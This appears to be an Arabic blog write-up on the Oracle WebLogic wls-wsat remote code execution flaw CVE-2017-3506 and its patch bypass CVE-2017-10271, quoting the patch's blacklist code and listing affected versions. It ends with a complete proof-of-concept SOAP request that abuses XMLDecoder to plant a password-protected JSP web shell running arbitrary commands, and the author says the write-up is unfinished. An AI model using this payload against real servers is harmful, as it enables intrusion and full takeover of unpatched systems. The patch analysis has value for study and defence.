
WebLogic wls-wsat RCE CVE-2017-10271
WebLogic wls-wsat RCE CVE-2017-10271
في وقت مبكر، استغل القراصنة ثغرات مكوّن WLS في WebLogic لشنّ هجمات عن بُعد واسعة النطاق على خوادم الشركات، حيث تم اختراق خوادم عدد كبير من الشركات، ويُظهر عدد الشركات المتعرضة للهجوم اتجاهًا تصاعديًا واضحًا، الأمر الذي يتطلب إيلاءه اهتمامًا بالغًا. ومن بين هذه الثغرات، تُعد CVE-2017-3506 ثغرة تنفيذ كود عن بُعد تستغل مكوّن WLS في Oracle WebLogic، وهي ثغرة استُغلت في البرية دون تفاصيل معلنة، ولم يقم عدد كبير من الشركات بتثبيت التصحيح في الوقت المناسب. وقد أصدرت الجهة الرسمية تصحيحًا لهذه الثغرة في أبريل 2017.
وصف تصحيح CVE-2017-3506:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
لقد تم فقط إضافة دالة validate قبل إلغاء التسلسل، فإذا كان qName يساوي object يتم إلقاء استثناء وإنهاء التنفيذ. يمكن وصفه بأنه إصلاح بسيط وعنيف، ومع ذلك، فإن هذا النوع من الإصلاح القائم على القائمة السوداء يصعب أن يكون مكتملًا بشكل جذري. إنه أمر يستحق التأمل العميق…
طريقة استغلال هذه الثغرة بسيطة نسبيًا؛ إذ يكفي أن يرسل المهاجم طلب HTTP مُصمَّمًا بعناية للحصول على صلاحيات الخادم المستهدف، مما يجعل ضررها هائلًا. ونظرًا لأن الثغرة حديثة، فلا تزال هناك العديد من الأجهزة التي لم تُحدِّث التصحيحات ذات الصلة. ومن المتوقع أنه بعد هذا الحادث المفاجئ، من المرجح أن تشهد أعداد هجمات الاستغلال قفزة حادة، وسيتم اختراق عدد كبير من الأجهزة الجديدة.
لم يقم التصحيح الرسمي الصادر عن Oracle في أبريل بإصلاح ثغرة CVE-2017-3506 بشكل جذري، إذ يمكن تجاوز التصحيح والاستمرار في تنفيذ الأوامر عن بُعد. أما ثغرة التجاوز الحالية المسجلة باسم CVE-2017-10271 فقد تم إصلاحها في التصحيح الرسمي الصادر في أكتوبر.
CVE-2017-3506 (ثغرة تنفيذ أوامر عن بُعد في wls-wsat) CVE-2017-10271 (ثغرة تجاوز تنفيذ الأوامر عن بُعد في wls-wsat)
Oracle WebLogic Server10.3.6.0.0 الإصدار Oracle WebLogic Server12.1.3.0.0 الإصدار Oracle WebLogic Server12.2.1.1.0 الإصدار Oracle WebLogic Server12.2.1.2.0 الإصدار
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
Poc:
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1111111111.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
لم تكتمل الكتابة، فقد اضطررت للخروج لبعض الأمور....